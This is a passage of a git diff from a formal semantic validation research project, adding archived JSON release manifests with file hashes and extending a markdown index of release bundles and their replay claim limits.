"6a76d4739bc7e22f7623f5ea384e522ecd06284715e78d7321a03daecfe7b0cc", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "22.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v21.json", + "snapshot_sha256": "5b9ef8dbcfd9944eadbe2cb7cd0e5ecf019c2c6bc875504a8101cae9566ddd9f" +} diff --git a/docs/research/formal-semantic-validation/historical-artifacts/issue-1005-pre-refinement-release-v23.json b/docs/research/formal-semantic-validation/historical-artifacts/issue-1005-pre-refinement-release-v23.json new file mode 100644 index 000000000..c0a92d0b5 --- /dev/null +++ b/docs/research/formal-semantic-validation/historical-artifacts/issue-1005-pre-refinement-release-v23.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v22.json", + "analysis_sha256": "2ef18622581ded2c2bbc9f8f149d5c9e48fc9710f59277c4167c2b368c2f7a12", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "23.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v22.json", + "snapshot_sha256": "09e3a02cab2c304b805c1ff9efdf6ed586ff1f7e383d54d8154dc06ff8f430c5" +} diff --git a/docs/research/formal-semantic-validation/historical-artifacts/issue-1242-pre-refinement-sync-release-v21.json b/docs/research/formal-semantic-validation/historical-artifacts/issue-1242-pre-refinement-sync-release-v21.json new file mode 100644 index 000000000..e03f1ff88 --- /dev/null +++ b/docs/research/formal-semantic-validation/historical-artifacts/issue-1242-pre-refinement-sync-release-v21.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v21.json", + "analysis_sha256": "e1b083db0d8eda1a97b523810b5b868ef0057ff19589a4a77146cd3229ca923f", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "22.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v21.json", + "snapshot_sha256": "75fa18dd87878271d8ca5e50fd7872cc6494570dabfe5c2ec209887abc463902" +} diff --git a/docs/research/formal-semantic-validation/historical-artifacts/pins-v2.json b/docs/research/formal-semantic-validation/historical-artifacts/pins-v2.json new file mode 100644 index 000000000..df4f1b71e --- /dev/null +++ b/docs/research/formal-semantic-validation/historical-artifacts/pins-v2.json @@ -0,0 +1,12 @@ +{ + "releases": [ + { + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v31.json", + "release_sha256": "f0be18219af353ff931280ca7a5fec87fcf11c099d7995b4ccac0143ca7bd8fe", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v31.json", + "snapshot_sha256": "31847cafec6a9db89f7359c80298eff47a7fed06a704c78d8d905bacaa3a92e9" + } + ], + "schema_version": "formal-baseline-archive-pins/v1", + "source_revision": "803257b2d9d3a4808295f47dd6fecd697aa9e558" +} diff --git a/docs/research/formal-semantic-validation/index.md b/docs/research/formal-semantic-validation/index.md index eb91f9d91..089d5a93c 100644 --- a/docs/research/formal-semantic-validation/index.md +++ b/docs/research/formal-semantic-validation/index.md @@ -123,11 +123,127 @@ stability remain `partial`; counterfactual necessity remains `untested`. [`analysis-v15.json`](analysis-v15.json) to progressive semantic revision support. Fresh replay records two complete compiler digest changes, with identical bounded outcomes and explicit deviations from release 15.0.0. -- [`bundles/retest-v16.json`](bundles/retest-v16.json) is current release 17.0.0. +- [`bundles/retest-v16.json`](bundles/retest-v16.json) preserves release 17.0.0. It binds [`execution-snapshot-v16.json`](execution-snapshot-v16.json) and [`analysis-v16.json`](analysis-v16.json) to unconstrained realization-evidence source semantics. Fresh replay retains every bounded outcome and records the two changed compiler digests as explicit deviations from release 16.0.0. +- [`bundles/retest-v17.json`](bundles/retest-v17.json) is prior release 18.0.0. + It binds [`execution-snapshot-v17.json`](execution-snapshot-v17.json) and + [`analysis-v17.json`](analysis-v17.json) to EXP-732 provenance validation. + Fresh production and participant replay retains the release-17 outcomes and + result digests with no deviations. The dedicated provenance regression suite + does not promote this retained corpus to universal provenance assurance. +- [`bundles/retest-v18.json`](bundles/retest-v18.json) preserves release 19.0.0. + It binds [`execution-snapshot-v18.json`](execution-snapshot-v18.json) and + [`analysis-v18.json`](analysis-v18.json) to the combined materialization-attestation + and EXP-732 provenance implementation. Fresh replay records compiled-representation + deviations from release 18.0.0 with unchanged outcomes. The retained corpus does + not establish native backend attestation fidelity or new experimental observations. +- [`bundles/retest-v19.json`](bundles/retest-v19.json) preserves release 20.0.0. + It binds [`execution-snapshot-v19.json`](execution-snapshot-v19.json) and + [`analysis-v19.json`](analysis-v19.json) to capture-proof authority integrated + with apparatus provenance and materialization attestations. Fresh replay + retains release-19 outcomes and digests without expanding claim limits. + Earlier issue-1237 captures remain byte-exact in feature commits + `2b21b5c88fc60c4545a302f4071cf8b781f04fe3` (release 18) and + `c75805c56330d402a52bd7a578785bb343bf3c30` (release 19), while the incoming + published captures above retain their original bytes. +- [`bundles/retest-v20.json`](bundles/retest-v20.json) preserves release 21.0.0. + It binds [`execution-snapshot-v20.json`](execution-snapshot-v20.json) and + [`analysis-v20.json`](analysis-v20.json) to the capture-dimension helper + refactor. Fresh replay retains release-20 outcomes and digests with no new + claim class; all previously published captures remain unchanged. +- [`bundles/retest-v21.json`](bundles/retest-v21.json) preserves release 22.0.0. + It binds [`execution-snapshot-v21.json`](execution-snapshot-v21.json) and + [`analysis-v21.json`](analysis-v21.json) to the integrated capture-proof, + capture-dimension, and EXP-731 refinement implementation. Fresh replay + retains release-21 outcomes and digests without expanding the formal claim + set; every earlier release remains byte-exact. +- [`bundles/retest-v22.json`](bundles/retest-v22.json) preserves release 23.0.0. + It binds [`execution-snapshot-v22.json`](execution-snapshot-v22.json) and + [`analysis-v22.json`](analysis-v22.json) to open-by-default augmentation scope + integrated with EXP-731 evidence refinements. Production and participant + replay retain the registered outcomes and claim limits; two compiled + representation digests change. This corpus does not establish native backend + scope enforcement. The earlier issue-1242 capture remains byte-exact in commit + `1ab0580525136667bbc713d3c2f4a7820bab08da`, with its manifest outside the + active index at `historical-artifacts/issue-1242-pre-refinement-sync-release-v21.json`. + That manifest's paths and hashes describe files at the named commit, not the + current checkout; incoming published captures retain their exact bytes. +- [`bundles/retest-v23.json`](bundles/retest-v23.json) preserves release 24.0.0. + It binds [`execution-snapshot-v23.json`](execution-snapshot-v23.json) and + [`analysis-v23.json`](analysis-v23.json) to the maintainability refactor of + augmentation admission. Fresh production and participant replay retains + release-23 outcomes and compiled digests, with no new deviations or claims. + All previously published captures remain unchanged. +- [`bundles/retest-v24.json`](bundles/retest-v24.json) preserves release 25.0.0. + It binds [`execution-snapshot-v24.json`](execution-snapshot-v24.json) and + [`analysis-v24.json`](analysis-v24.json) to the tightened composition type + annotations. Fresh production and participant replay retains release-24 + outcomes, digests, and claim limits. Earlier captures remain byte-exact. +- [`bundles/retest-v25.json`](bundles/retest-v25.json) preserves release 26.0.0. + It binds [`execution-snapshot-v25.json`](execution-snapshot-v25.json) and + [`analysis-v25.json`](analysis-v25.json) to the merged ACT-612 participant + relationships and augmentation scope implementation. Fresh replay retains + bounded outcomes and claim limits; earlier captures remain byte-exact. +- [`bundles/retest-v26.json`](bundles/retest-v26.json) preserves release 27.0.0. + It binds [`execution-snapshot-v26.json`](execution-snapshot-v26.json) and + [`analysis-v26.json`](analysis-v26.json) to authoring-adapter conformance on + the merged participant-relationship and augmentation source tree. Fresh + replay retains bounded outcomes and claim limits without qualifying an + adapter transport. +- [`bundles/retest-v27.json`](bundles/retest-v27.json) preserves release 28.0.0. + It binds [`execution-snapshot-v27.json`](execution-snapshot-v27.json) and + [`analysis-v27.json`](analysis-v27.json) to issue #1299 partial runtime + listener admission on the integrated authoring-adapter source tree. Fresh + replay retains release-27 outcomes, digests, and claim limits; endpoint + completeness, backend admission, and adapter transport behavior remain + outside this corpus's claims. +- [`bundles/retest-v28.json`](bundles/retest-v28.json) preserves release 29.0.0. + It binds [`execution-snapshot-v28.json`](execution-snapshot-v28.json) and + [`analysis-v28.json`](analysis-v28.json) to the issue #1223 reviewed OCI + mirror and pre-seed admission boundary; that work does not participate in this + corpus, so replay retains release-28 outcomes with no new claim class. +- [`bundles/retest-v29.json`](bundles/retest-v29.json) preserves release 30.0.0. + It binds [`execution-snapshot-v29.json`](execution-snapshot-v29.json) and + [`analysis-v29.json`](analysis-v29.json) to issue #1297's portable + service-manager contract. Fresh production and participant replay retains + bounded outcomes and claim limits without claiming live manager execution. +- [`bundles/retest-v30.json`](bundles/retest-v30.json) preserves release 31.0.0. + It binds [`execution-snapshot-v30.json`](execution-snapshot-v30.json) and + [`analysis-v30.json`](analysis-v30.json) to API-404 startup reconciliation + and its operational recovery-observation contract. Fresh replay retains + bounded outcomes and claim limits without claiming live crash recovery, + provider-effect classification, or EXP-715 experiment observation. +- [`bundles/retest-v31.json`](bundles/retest-v31.json) preserves release 32.0.0. + It binds [`execution-snapshot-v31.json`](execution-snapshot-v31.json) and + [`analysis-v31.json`](analysis-v31.json) to API-404 CP-5 single-owner store + admission, immutable target/run scope, and provider shutdown ordering. Fresh + replay retains bounded outcomes and claim limits without claiming that this + corpus executes process contention, SQLite lifecycle ordering, or crash + recovery. +- [`bundles/retest-v32.json`](bundles/retest-v32.json) preserves release 33.0.0. + It binds [`execution-snapshot-v32.json`](execution-snapshot-v32.json) and + [`analysis-v32.json`](analysis-v32.json) to issue #1015 mixed and staged trial + admission. Fresh replay retains bounded outcomes and claim limits without + claiming that this corpus executes a mixed-backend trial realization. +- [`bundles/retest-v33.json`](bundles/retest-v33.json) preserves release 34.0.0. + It binds [`execution-snapshot-v33.json`](execution-snapshot-v33.json) and + [`analysis-v33.json`](analysis-v33.json) to issue #1186 runtime maintenance, + health, and audit source. Replay retains the formal corpus outcomes without + claiming that it exercises those operator paths. +- [`bundles/retest-v34.json`](bundles/retest-v34.json) preserves release 35.0.0. + It binds [`execution-snapshot-v34.json`](execution-snapshot-v34.json) and + [`analysis-v34.json`](analysis-v34.json) to issue #1187 control-plane + conformance and exception-redaction source. Fresh production and participant + replay retains the prior outcomes and claim limits. Crash/profile conformance + remains evidence from its dedicated suite, not a new claim in this corpus. +- [`bundles/retest-v35.json`](bundles/retest-v35.json) preserves release 36.0.0. + It binds [`execution-snapshot-v35.json`](execution-snapshot-v35.json) and + [`analysis-v35.json`](analysis-v35.json) to issue #1189 runtime profile + declarations. Fresh replay retains prior outcomes and claim limits; profile + composition is verified by its dedicated runtime tests, not this corpus. - [`satisfiability-analysis-v1.json`](satisfiability-analysis-v1.json) is the preserved issue-826 historical supplement. It remains selected atomically in release 2.0 and is not independently combined with newer evidence. @@ -172,18 +288,68 @@ Failed observations are evidence. A later product correction or RAES revision creates a new execution snapshot and analysis; it does not overwrite this record. -Current validation requires explicit release 17.0.0, rejects unsupported future +Release 37.0.0 is retained in +[`bundles/retest-v36.json`](bundles/retest-v36.json), binding +[`execution-snapshot-v36.json`](execution-snapshot-v36.json) and +[`analysis-v36.json`](analysis-v36.json) to issue #1072's contract source. +The bounded replay does not execute control providers or establish runtime +effect realization; the retained claim limits remain unchanged. + +Release 38.0.0 is retained in +[`bundles/retest-v37.json`](bundles/retest-v37.json), binding +[`execution-snapshot-v37.json`](execution-snapshot-v37.json) and +[`analysis-v37.json`](analysis-v37.json) to the participant-control validator +refactor. The corpus and claim limits remain unchanged. + +Release 39.0.0 is retained in +[`bundles/retest-v38.json`](bundles/retest-v38.json), binding +[`execution-snapshot-v38.json`](execution-snapshot-v38.json) and +[`analysis-v38.json`](analysis-v38.json) to issue #1016 mixed-runtime +coordination. The bounded replay does not establish backend-native mixed +realization, multi-controller coordination, information-flow control, or +equivalence; the retained claim limits remain unchanged. + +Release 40.0.0 is retained in +[`bundles/retest-v39.json`](bundles/retest-v39.json), binding +[`execution-snapshot-v39.json`](execution-snapshot-v39.json) and +[`analysis-v39.json`](analysis-v39.json) to issue #610's reconciliation +demonstration harness. Fresh replay retains prior outcomes and claim limits; +planner reconciliation is verified by its dedicated processor and CLI tests, +not this corpus. + +Release 41.0.0 is retained in +[`bundles/retest-v40.json`](bundles/retest-v40.json), binding +[`execution-snapshot-v40.json`](execution-snapshot-v40.json) and +[`analysis-v40.json`](analysis-v40.json) to issue #1069's modular +participant-control runtime orchestration. Replay retains the prior outcomes +and claim limits; participant-control orchestration is verified by its own +runtime tests, not by this language corpus. + +Current release 42.0.0 is retained in +[`bundles/retest-v41.json`](bundles/retest-v41.json), binding +[`execution-snapshot-v41.json`](execution-snapshot-v41.json) and +[`analysis-v41.json`](analysis-v41.json) to issue #1338's participant identity +and objective assignment model. Corpus revision 4 uses explicit, separately +versioned successors for the two objective fixtures. Their original bytes and +all historical captures remain unchanged. Fresh replay preserves control +outcomes and claim limits, recording the positive successor's changed result +digest; the dangling-reference diagnostic remains identical. +It establishes no autonomy threshold, authority grant, or realized attribution. + +Current validation requires explicit release 67.0.0, rejects unsupported future or duplicate revisions, and never accepts an old/new output-digest pair as a substitute for replay. Historical releases (including the issue-826 supplement) undergo pin, shape, control, and internal-join checks without executing current code. Only the current release supports a current-code claim. -The two JSON files in [`historical-artifacts/`](historical-artifacts/) preserve -original baseline bytes recovered from Git revision -`106b195e3dc0048a647e845876e8eaefe08e3d1b`. They remain immutable recovery -material; the current release-10 linkage is described above. Validation admits -an archived copy only through the independently pinned archive record and an -exact requested digest, without network access or historical capture rewriting. +The archived JSON pairs in [`historical-artifacts/`](historical-artifacts/) +preserve original baseline bytes recovered from Git revisions +`106b195e3dc0048a647e845876e8eaefe08e3d1b` and +`803257b2d9d3a4808295f47dd6fecd697aa9e558`. The latter retains the exact +release-32 baseline selected by the now-historical release-33 snapshot. +Validation admits an archived copy only through its independently pinned +record and exact requested digest, without network access or historical +capture rewriting. The current capture's `source_state` records a base Git commit, the modified checkout state, and a deterministic digest of all reference-package Python @@ -212,6 +378,12 @@ observation. ## Bounded conclusions +Issue #1237's pre-synchronization capture remains in feature commit +`2d402e4ae922b59d399dbfc336cc2856d153c44a`. It is not selected as current +evidence. Synchronization preserves the incoming release-17 bytes and records +the combined source in release 18. Neither branch's earlier observation is +relabeled as evidence for the merged tree. + The satisfiable witness and subset-minimal unsatisfiable core establish results only for the declared finite-domain theory, translation, source, and pinned Z3 configuration. The core is not a general proof certificate. The exploit-path @@ -243,3 +415,158 @@ records. It freezes 